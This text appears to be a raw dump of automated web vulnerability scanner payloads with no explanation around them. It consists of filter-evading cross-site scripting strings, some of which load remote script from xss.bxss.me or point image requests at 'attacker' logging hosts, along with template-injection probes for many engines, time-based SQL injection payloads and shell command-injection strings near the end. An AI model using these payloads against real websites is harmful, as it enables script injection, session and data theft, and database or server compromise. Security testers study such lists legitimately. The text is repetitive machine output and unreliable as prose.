555}body{zzz:Expre/**/SSion(MpeF(9256))}

555<img src=xyz OnErRor=VWtX(9968)>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

1}dfb[[${98991*97996}]]xca

555ULEwB <ScRiPt >MpeF(9058)</ScRiPt>

555<img/src=">" onerror=alert(9448)>

<a HrEF=jaVaScRiPT:>

1dfb__${98991*97996}__::.x

"}}}dfb{{{this}}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%56%57%74%58%289729%29%3C%2F%73%43%72%69%70%54%3E

555<WHDPW1>0KKEU[!+!]</WHDPW1>

555}body{zzz:Expre/**/SSion(0CzN(9671))}

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555\u003CScRiPt\VWtX(9518)\u003C/sCripT\u003E

555<ifRAme sRc=9768.com></IfRamE>

"}#{98991*97996*98991*97996}

555Oa8JJ <ScRiPt >0CzN(9138)</ScRiPt>

555<ScRiPt >msVT(9887)</ScRiPt>

555&lt

555<aNeo1TM x=9399>

"}dfb#{xca}=123

555<W8K68V>OCBMR[!+!]</W8K68V>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<WXIXEV>E56WI[!+!]</WXIXEV>

\xf6<img zzz onmouseover=VWtX(90161) //\xf6>

555<img sRc='http://attacker-9874/log.php?

555<script>msVT(9822)</script>

555<script>msVT(9352)</script>9352

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ifRAme sRc=9583.com></IfRamE>

555<a4ZiirQ<

555<input autofocus onfocus=VWtX(9424)>

"}}dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

555<atbpZ4X x=9466>

555<ScR<ScRiPt>IpT>msVT(9554)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9366/log.php?

"}dfb[[${98991*97996}]]xca

<a HrEF=jaVaScRiPT:>

555<ScRiPt >msVT(9486)</ScRiPt>

555}body{zzz:Expre/**/SSion(VWtX(9905))}

555<aBr9FdS<

"dfb__${98991*97996}__::.x

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9078></ScRiPt>

555aclTO <ScRiPt >VWtX(9129)</ScRiPt>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >msVT(9645)</ScRiPt>

555<W48TQU>SDZYY[!+!]</W48TQU>

'}}dfb{{98991*97996}}xca

555<svg  \xa0onload=msVT(9046)

555<ifRAme sRc=9583.com></IfRamE>

'%}dfb{{98991*97996}}xca

555<ahi8NCQ x=9185>

555<isindex type=image src=1 onerror=msVT(9114)>

'}dfb{98991*97996}xca

555<img sRc='http://attacker-9198/log.php?

555<iframe src='data:text/html

'}dfb${98991*97996}xca

555<aAD6h3a<

555<body onload=msVT(9556)>

'}dfb#{98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=msVT(9363)>

'}dfb{#98991*97996}xca

555<img src=xyz OnErRor=msVT(9033)>

'}dfb{@98991*97996}xca

555<img/src=">" onerror=alert(9646)>

'}}dfb{{=98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%6D%73%56%54%289670%29%3C%2F%73%43%72%69%70%54%3E

')dfb@(98991*97996)xca

555\u003CScRiPt\msVT(9873)\u003C/sCripT\u003E

555&lt

'%>dfb<%=98991*97996%>xca

\xf6<img zzz onmouseover=msVT(99201) //\xf6>

'}dfb#set($x=98991*97996)${x}xca

'}dfb{{"abc"|title}}xca

555<input autofocus onfocus=msVT(9685)>

<a HrEF=http://xss.bxss.me></a>

'print("dfb" . 98991*97996 . "xca")

<a HrEF=jaVaScRiPT:>

'98991*97996*98991*97996

555}body{zzz:Expre/**/SSion(msVT(9450))}

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

'}}}dfb{{{this}}}xca

555cAs0b <ScRiPt >msVT(9923)</ScRiPt>

555<W9MZBB>GKEXD[!+!]</W9MZBB>

'}#{98991*97996*98991*97996}

555<ifRAme sRc=9024.com></IfRamE>

'}dfb#{xca}=123

555<aX7CbvT x=9407>

'}}dfb{{'abcd'.toUpperCase()}}xca

555<img sRc='http://attacker-9418/log.php?

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

'}}dfb{{98991*97996}}xca

555<afW9pPx<

'}dfb[[${98991*97996}]]xca

'dfb__${98991*97996}__::.x

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}dfb{{98991*97996}}xca

1%}dfb{{98991*97996}}xca

1}dfb{98991*97996}xca

1}dfb${98991*97996}xca

1}dfb#{98991*97996}xca

1}dfb{#98991*97996}xca

1}dfb{@98991*97996}xca

1}}dfb{{=98991*97996}}xca

1)dfb@(98991*97996)xca

555'"()&%<zzz><ScRiPt >1I6z(9649)</ScRiPt>

1%>dfb<%=98991*97996%>xca

'"()&%<zzz><ScRiPt >1I6z(9961)</ScRiPt>

1}dfb#set($x=98991*97996)${x}xca

555'"()&%<zzz><ScRiPt >HVAF(9026)</ScRiPt>

555'"()&%<zzz><ScRiPt >GShY(9805)</ScRiPt>

5559378282

1}dfb{{"abc"|title}}xca

'"()&%<zzz><ScRiPt >GShY(9559)</ScRiPt>

bfg5033\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5033

'"()&%<zzz><ScRiPt >HVAF(9936)</ScRiPt>

1print("dfb" . 98991*97996 . "xca")

bfgx3042\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3042

198991*97996*98991*97996

5559079089

5559099637

<%={{={@{#{${dfb}}%>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

bfg3409\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3409

555

1}}}dfb{{{this}}}xca

bfg7223\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7223

bfgx6977\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6977

bfgx7718\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7718

<th:t="${dfb}#foreach

1}#{98991*97996*98991*97996}

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555

1}dfb#{xca}=123

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

555

1}}dfb{{'abcd'.toUpperCase()}}xca

<th:t="${dfb}#foreach

"}}dfb{{98991*97996}}xca

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<th:t="${dfb}#foreach

"%}dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}dfb{98991*97996}xca

555

1}dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

"}dfb${98991*97996}xca

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

1dfb__${98991*97996}__::.x

"}dfb#{98991*97996}xca

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}dfb{#98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >DJgO(9082)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<W3EFYU>YTHT6[!+!]</W3EFYU>

555<ScRiPt >GShY(9112)</ScRiPt>

"}dfb{@98991*97996}xca

555<script>DJgO(9831)</script>

555<ScRiPt >HVAF(9159)</ScRiPt>

"}}dfb{{=98991*97996}}xca

555<WSGHSV>QIRYQ[!+!]</WSGHSV>

555<WMF0PW>FX2ZQ[!+!]</WMF0PW>

555<script>DJgO(9158)</script>9158

")dfb@(98991*97996)xca

555<script>GShY(9275)</script>

555<ScR<ScRiPt>IpT>DJgO(9285)</sCr<ScRiPt>IpT>

555<script>HVAF(9005)</script>

"%>dfb<%=98991*97996%>xca

555<ScRiPt >DJgO(9815)</ScRiPt>

555<script>GShY(9383)</script>9383

555<script>HVAF(9665)</script>9665

"}dfb#set($x=98991*97996)${x}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9994></ScRiPt>

555<ScR<ScRiPt>IpT>HVAF(9765)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>GShY(9918)</sCr<ScRiPt>IpT>

555<ScRiPt >DJgO(9913)</ScRiPt>

"}dfb{{"abc"|title}}xca

555<ScRiPt >HVAF(9197)</ScRiPt>

"print("dfb" . 98991*97996 . "xca")

555<svg  \xa0onload=DJgO(9566)

555<ScRiPt >GShY(9703)</ScRiPt>

"98991*97996*98991*97996

555<isindex type=image src=1 onerror=DJgO(9793)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9034></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9352></ScRiPt>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >HVAF(9471)</ScRiPt>

555<iframe src='data:text/html

555<ScRiPt >GShY(9368)</ScRiPt>

555<svg  \xa0onload=HVAF(9277)

555<svg  \xa0onload=GShY(9407)

"}}}dfb{{{this}}}xca

555<body onload=DJgO(9680)>

555<isindex type=image src=1 onerror=HVAF(9902)>

"}#{98991*97996*98991*97996}

555<isindex type=image src=1 onerror=GShY(9390)>

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=DJgO(9707)>

"}dfb#{xca}=123

555<iframe src='data:text/html

555<body onload=HVAF(9648)>

555<img src=xyz OnErRor=DJgO(9676)>

555<body onload=GShY(9688)>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<img/src=">" onerror=alert(9929)>

555<img src=//xss.bxss.me/t/dot.gif onload=HVAF(9822)>

555<img src=//xss.bxss.me/t/dot.gif onload=GShY(9001)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%4A%67%4F%289016%29%3C%2F%73%43%72%69%70%54%3E

555<img src=xyz OnErRor=HVAF(9100)>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555\u003CScRiPt\DJgO(9463)\u003C/sCripT\u003E

555<img src=xyz OnErRor=GShY(9779)>

555&lt

"}}dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9397)>

555<img/src=">" onerror=alert(9419)>

"}dfb[[${98991*97996}]]xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%47%53%68%59%289627%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=DJgO(91401) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%56%41%46%289384%29%3C%2F%73%43%72%69%70%54%3E

"dfb__${98991*97996}__::.x

555\u003CScRiPt\HVAF(9015)\u003C/sCripT\u003E

555\u003CScRiPt\GShY(9798)\u003C/sCripT\u003E

555<input autofocus onfocus=DJgO(9855)>

555&lt

<a HrEF=http://xss.bxss.me></a>

555&lt

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'}}dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=GShY(96541) //\xf6>

\xf6<img zzz onmouseover=HVAF(96571) //\xf6>

<a HrEF=jaVaScRiPT:>

555<input autofocus onfocus=HVAF(9393)>

'%}dfb{{98991*97996}}xca

555<input autofocus onfocus=GShY(9730)>

<a HrEF=http://xss.bxss.me></a>

555}body{zzz:Expre/**/SSion(DJgO(9846))}

'}dfb{98991*97996}xca

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

5550Wq8W <ScRiPt >DJgO(9762)</ScRiPt>

'}dfb${98991*97996}xca

555}body{zzz:Expre/**/SSion(HVAF(9364))}

<a HrEF=jaVaScRiPT:>

'}dfb#{98991*97996}xca

555}body{zzz:Expre/**/SSion(GShY(9209))}

555<WIN6H2>EOOS9[!+!]</WIN6H2>

555tLXV2 <ScRiPt >HVAF(9752)</ScRiPt>

'}dfb{#98991*97996}xca

555CVPX3 <ScRiPt >GShY(9089)</ScRiPt>

555<WXKLLL>6DYQC[!+!]</WXKLLL>

555<ifRAme sRc=9662.com></IfRamE>

'}dfb{@98991*97996}xca

555<WCCQ9Y>BOLCS[!+!]</WCCQ9Y>

555<ifRAme sRc=9132.com></IfRamE>

555<aqMQt1K x=9093>

555<ifRAme sRc=9432.com></IfRamE>

'}}dfb{{=98991*97996}}xca

555<aCUEYMm x=9477>

555<img sRc='http://attacker-9954/log.php?

555<ahcUsg2<

')dfb@(98991*97996)xca

555<img sRc='http://attacker-9601/log.php?

555<a4pgPQB x=9243>

'%>dfb<%=98991*97996%>xca

555<a8ZQ242<

555<img sRc='http://attacker-9594/log.php?

'}dfb#set($x=98991*97996)${x}xca

555'"()&%<zzz><ScRiPt >Qj3O(9816)</ScRiPt>

555<aZrAZ1j<

'}dfb{{"abc"|title}}xca

'"()&%<zzz><ScRiPt >Qj3O(9278)</ScRiPt>

'print("dfb" . 98991*97996 . "xca")

5559960559

'98991*97996*98991*97996

bfg10608\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10608

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

bfgx8791\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8791

<%={{={@{#{${dfb}}%>

'}}}dfb{{{this}}}xca

555

'}#{98991*97996*98991*97996}

555'"()&%<zzz><ScRiPt >hJit(9271)</ScRiPt>

<th:t="${dfb}#foreach

'}dfb#{xca}=123

'"()&%<zzz><ScRiPt >hJit(9662)</ScRiPt>

555'"()&%<zzz><ScRiPt >gjtt(9974)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

5559973013

'"()&%<zzz><ScRiPt >gjtt(9085)</ScRiPt>

'}}dfb{{'abcd'.toUpperCase()}}xca

555'"()&%<zzz><ScRiPt >vMzI(9117)</ScRiPt>

555

5559017749

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

bfg6994\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6994

'"()&%<zzz><ScRiPt >vMzI(9737)</ScRiPt>

dfb{{98991*97996}}xca

'}}dfb{{98991*97996}}xca

bfg1779\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1779

bfgx3324\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3324

5559006295

dfb[[${98991*97996}]]xca

'}dfb[[${98991*97996}]]xca

bfg1939\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1939

dfb__${98991*97996}__::.x

bfgx9239\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9239

'dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

bfgx1724\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1724

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<%={{={@{#{${dfb}}%>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<ScRiPt >Qj3O(9311)</ScRiPt>

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555<WTU8V7>0UJJQ[!+!]</WTU8V7>

1%}dfb{{98991*97996}}xca

555

555

<th:t="${dfb}#foreach

555<script>Qj3O(9515)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}dfb{98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555

1}dfb${98991*97996}xca

555

555<script>Qj3O(9278)</script>9278

dfb{{98991*97996}}xca

1}dfb#{98991*97996}xca

"}}dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>Qj3O(9357)</sCr<ScRiPt>IpT>

1}dfb{#98991*97996}xca

"}}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

"%}dfb{{98991*97996}}xca

555<ScRiPt >Qj3O(9357)</ScRiPt>

1}dfb{@98991*97996}xca

dfb{98991*97996}xca

"%}dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9768></ScRiPt>

"}dfb{98991*97996}xca

1}}dfb{{=98991*97996}}xca

"}dfb{98991*97996}xca

555<ScRiPt >Qj3O(9971)</ScRiPt>

dfb${98991*97996}xca

"}dfb${98991*97996}xca

1)dfb@(98991*97996)xca

"}dfb${98991*97996}xca

555<svg  \xa0onload=Qj3O(9415)

dfb#{98991*97996}xca

"}dfb#{98991*97996}xca

555<isindex type=image src=1 onerror=Qj3O(9418)>

"}dfb#{98991*97996}xca

1%>dfb<%=98991*97996%>xca

dfb{#98991*97996}xca

"}dfb{#98991*97996}xca

555<iframe src='data:text/html

"}dfb{#98991*97996}xca

1}dfb#set($x=98991*97996)${x}xca

555<body onload=Qj3O(9731)>

dfb{@98991*97996}xca

"}dfb{@98991*97996}xca

1}dfb{{"abc"|title}}xca

"}dfb{@98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=Qj3O(9129)>

"}}dfb{{=98991*97996}}xca

dfb{{=98991*97996}}xca

"}}dfb{{=98991*97996}}xca

1print("dfb" . 98991*97996 . "xca")

dfb@(98991*97996)xca

555<img src=xyz OnErRor=Qj3O(9697)>

")dfb@(98991*97996)xca

198991*97996*98991*97996

dfb<%=98991*97996%>xca

")dfb@(98991*97996)xca

"%>dfb<%=98991*97996%>xca

555<img/src=">" onerror=alert(9948)>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%51%6A%33%4F%289063%29%3C%2F%73%43%72%69%70%54%3E

dfb#set($x=98991*97996)${x}xca

"}dfb#set($x=98991*97996)${x}xca

"%>dfb<%=98991*97996%>xca

dfb{{"abc"|title}}xca

1}}}dfb{{{this}}}xca

555\u003CScRiPt\Qj3O(9752)\u003C/sCripT\u003E

"}dfb#set($x=98991*97996)${x}xca

print("dfb" . 98991*97996 . "xca")

1}#{98991*97996*98991*97996}

"}dfb{{"abc"|title}}xca

"}dfb{{"abc"|title}}xca

555&lt

"print("dfb" . 98991*97996 . "xca")

98991*97996*98991*97996

1}dfb#{xca}=123

\xf6<img zzz onmouseover=Qj3O(95981) //\xf6>

"98991*97996*98991*97996

"print("dfb" . 98991*97996 . "xca")

dfb{@math key=98991 method="multiply" operand=97996/}xca

1}}dfb{{'abcd'.toUpperCase()}}xca

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<input autofocus onfocus=Qj3O(9811)>

"98991*97996*98991*97996

dfb{{{this}}}xca

<a HrEF=http://xss.bxss.me></a>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"}}}dfb{{{this}}}xca

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

<a HrEF=jaVaScRiPT:>

#{98991*97996*98991*97996}

1}}dfb{{98991*97996}}xca

"}}}dfb{{{this}}}xca

dfb#{xca}=123

"}#{98991*97996*98991*97996}

555}body{zzz:Expre/**/SSion(Qj3O(9661))}

1}dfb[[${98991*97996}]]xca

dfb{{'abcd'.toUpperCase()}}xca

"}dfb#{xca}=123

"}#{98991*97996*98991*97996}

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

1dfb__${98991*97996}__::.x

5555kREO <ScRiPt >Qj3O(9194)</ScRiPt>

"}}dfb{{'abcd'.toUpperCase()}}xca

dfb{{98991*97996}}xca

"}dfb#{xca}=123

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}}dfb{{'abcd'.toUpperCase()}}xca

"}}dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

555<WHNK8Q>GIJED[!+!]</WHNK8Q>

555<ScRiPt >1I6z(9354)</ScRiPt>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"}dfb[[${98991*97996}]]xca

555<ifRAme sRc=9638.com></IfRamE>

dfb__${98991*97996}__::.x

555<W7J3UP>YV0Z5[!+!]</W7J3UP>

"}}dfb{{98991*97996}}xca

"}dfb[[${98991*97996}]]xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>1I6z(9671)</script>

555<aqMQX6B x=9438>

"dfb__${98991*97996}__::.x

"dfb__${98991*97996}__::.x

555<ScRiPt >vMzI(9304)</ScRiPt>

555<script>1I6z(9423)</script>9423

555<img sRc='http://attacker-9936/log.php?

555<WPVIWY>R4QSA[!+!]</WPVIWY>

555<ScR<ScRiPt>IpT>1I6z(9378)</sCr<ScRiPt>IpT>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aR3OW60<

555<script>vMzI(9028)</script>

'}}dfb{{98991*97996}}xca

555<ScRiPt >1I6z(9578)</ScRiPt>

'}}dfb{{98991*97996}}xca

'%}dfb{{98991*97996}}xca

555<script>vMzI(9546)</script>9546

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9708></ScRiPt>

'%}dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>vMzI(9658)</sCr<ScRiPt>IpT>

'}dfb{98991*97996}xca

555<ScRiPt >1I6z(9003)</ScRiPt>

'}dfb${98991*97996}xca

'}dfb{98991*97996}xca

555<ScRiPt >vMzI(9437)</ScRiPt>

555<svg  \xa0onload=1I6z(9446)

555<isindex type=image src=1 onerror=1I6z(9974)>

'}dfb${98991*97996}xca

'}dfb#{98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9515></ScRiPt>

555<iframe src='data:text/html

'}dfb#{98991*97996}xca

555<ScRiPt >vMzI(9759)</ScRiPt>

'}dfb{#98991*97996}xca

555<body onload=1I6z(9844)>

'}dfb{#98991*97996}xca

'}dfb{@98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=1I6z(9353)>

'}dfb{@98991*97996}xca

555<svg  \xa0onload=vMzI(9329)

'}}dfb{{=98991*97996}}xca

'}}dfb{{=98991*97996}}xca

555<isindex type=image src=1 onerror=vMzI(9741)>

')dfb@(98991*97996)xca

')dfb@(98991*97996)xca

555<img src=xyz OnErRor=1I6z(9001)>

'%>dfb<%=98991*97996%>xca

555<img/src=">" onerror=alert(9348)>

555<iframe src='data:text/html

'}dfb#set($x=98991*97996)${x}xca

'%>dfb<%=98991*97996%>xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%49%36%7A%289839%29%3C%2F%73%43%72%69%70%54%3E

555<body onload=vMzI(9183)>

'}dfb#set($x=98991*97996)${x}xca

'}dfb{{"abc"|title}}xca

555\u003CScRiPt\1I6z(9593)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=vMzI(9375)>

'}dfb{{"abc"|title}}xca

'print("dfb" . 98991*97996 . "xca")

555&lt

555<img src=xyz OnErRor=vMzI(9201)>

'print("dfb" . 98991*97996 . "xca")

\xf6<img zzz onmouseover=1I6z(90421) //\xf6>

'98991*97996*98991*97996

555'"()&%<zzz><ScRiPt >YNdj(9395)</ScRiPt>

555<input autofocus onfocus=1I6z(9971)>

555<img/src=">" onerror=alert(9932)>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%76%4D%7A%49%289578%29%3C%2F%73%43%72%69%70%54%3E

'98991*97996*98991*97996

'"()&%<zzz><ScRiPt >YNdj(9417)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\vMzI(9219)\u003C/sCripT\u003E

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

<a HrEF=jaVaScRiPT:>

'}}}dfb{{{this}}}xca

5559641267

555&lt

'}}}dfb{{{this}}}xca

\xf6<img zzz onmouseover=vMzI(98921) //\xf6>

555}body{zzz:Expre/**/SSion(1I6z(9754))}

bfg5012\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5012

'}#{98991*97996*98991*97996}

'}#{98991*97996*98991*97996}

555DkHCY <ScRiPt >1I6z(9310)</ScRiPt>

bfgx6029\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6029

555<input autofocus onfocus=vMzI(9748)>

'}dfb#{xca}=123

555<WOKFML>ETRWS[!+!]</WOKFML>

<a HrEF=http://xss.bxss.me></a>

'}dfb#{xca}=123

555<ifRAme sRc=9665.com></IfRamE>

'}}dfb{{'abcd'.toUpperCase()}}xca

<%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

'}}dfb{{'abcd'.toUpperCase()}}xca

555

555<ay3eieB x=9338>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<th:t="${dfb}#foreach

555}body{zzz:Expre/**/SSion(vMzI(9868))}

'}}dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9922/log.php?

'}}dfb{{98991*97996}}xca

555tVZP1 <ScRiPt >vMzI(9428)</ScRiPt>

'}dfb[[${98991*97996}]]xca

555

555<aAK4eIv<

'}dfb[[${98991*97996}]]xca

'dfb__${98991*97996}__::.x

555<WHVFUI>ZZO7V[!+!]</WHVFUI>

dfb{{98991*97996}}xca

555<ifRAme sRc=9464.com></IfRamE>

dfb[[${98991*97996}]]xca

'dfb__${98991*97996}__::.x

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

555<aFhnrQJ x=9272>

1}}dfb{{98991*97996}}xca

1}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9961/log.php?

1%}dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1%}dfb{{98991*97996}}xca

555<ScRiPt >YNdj(9792)</ScRiPt>

555<aFaEYS3<

1}dfb{98991*97996}xca

1}dfb{98991*97996}xca

555<WSVWWC>TWRLY[!+!]</WSVWWC>

1}dfb${98991*97996}xca

1}dfb${98991*97996}xca

555

555<script>YNdj(9979)</script>

555'"()&%<zzz><ScRiPt >71pw(9185)</ScRiPt>

1e02I7cEO

1}dfb#{98991*97996}xca

555

555

555<script>YNdj(9806)</script>9806

1}dfb{#98991*97996}xca

555PYgxMZAn

1}dfb#{98991*97996}xca

555

-1 OR 2+773-773-1=0+0+0+1 --

1}dfb{@98991*97996}xca

-1 OR 2+648-648-1=0+0+0+1

'"()&%<zzz><ScRiPt >71pw(9861)</ScRiPt>

555<ScR<ScRiPt>IpT>YNdj(9035)</sCr<ScRiPt>IpT>

1}dfb{#98991*97996}xca

-1' OR 2+55-55-1=0+0+0+1 --

5559849525

555<ScRiPt >YNdj(9486)</ScRiPt>

-1' OR 2+549-549-1=0+0+0+1 or 'YKDIxVUk'='

1}dfb{@98991*97996}xca

1}}dfb{{=98991*97996}}xca

-1" OR 2+962-962-1=0+0+0+1 --

bfg8081\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8081

1}}dfb{{=98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9223></ScRiPt>

555*if(now()=sysdate(),sleep(15),0)

bfgx6631\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6631

1)dfb@(98991*97996)xca

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

1)dfb@(98991*97996)xca

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

1%>dfb<%=98991*97996%>xca

555<ScRiPt >YNdj(9316)</ScRiPt>

<%={{={@{#{${dfb}}%>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1}dfb#set($x=98991*97996)${x}xca

555-1

555-1)

1%>dfb<%=98991*97996%>xca

555-1 waitfor delay '0:0:15' --

555<svg  \xa0onload=YNdj(9815)

1}dfb{{"abc"|title}}xca

555byeT9Bfh'

555

555-1 OR 474=(SELECT 474 FROM PG_SLEEP(15))--

1}dfb#set($x=98991*97996)${x}xca

555-1) OR 500=(SELECT 500 FROM PG_SLEEP(15))--

555-1)) OR 206=(SELECT 206 FROM PG_SLEEP(15))--

1print("dfb" . 98991*97996 . "xca")

555<isindex type=image src=1 onerror=YNdj(9252)>

dfb{{98991*97996}}xca

555tHUbr2mq' OR 21=(SELECT 21 FROM PG_SLEEP(15))--

1}dfb{{"abc"|title}}xca

198991*97996*98991*97996

echo utlvgl$()\ dbsxzf\nz^xyu||a #' &echo utlvgl$()\ dbsxzf\nz^xyu||a #|" &echo utlvgl$()\ dbsxzf\nz^xyu||a #

response.write(9679203*9675919)

&echo bvrktd$()\ ihzwvg\nz^xyu||a #' &echo bvrktd$()\ ihzwvg\nz^xyu||a #|" &echo bvrktd$()\ ihzwvg\nz^xyu||a #

555<iframe src='data:text/html

555&echo kyikpw$()\ scftdb\nz^xyu||a #' &echo kyikpw$()\ scftdb\nz^xyu||a #|" &echo kyikpw$()\ scftdb\nz^xyu||a #

555pniTTLGq') OR 789=(SELECT 789 FROM PG_SLEEP(15))--

1print("dfb" . 98991*97996 . "xca")

'+response.write(9679203*9675919)+'

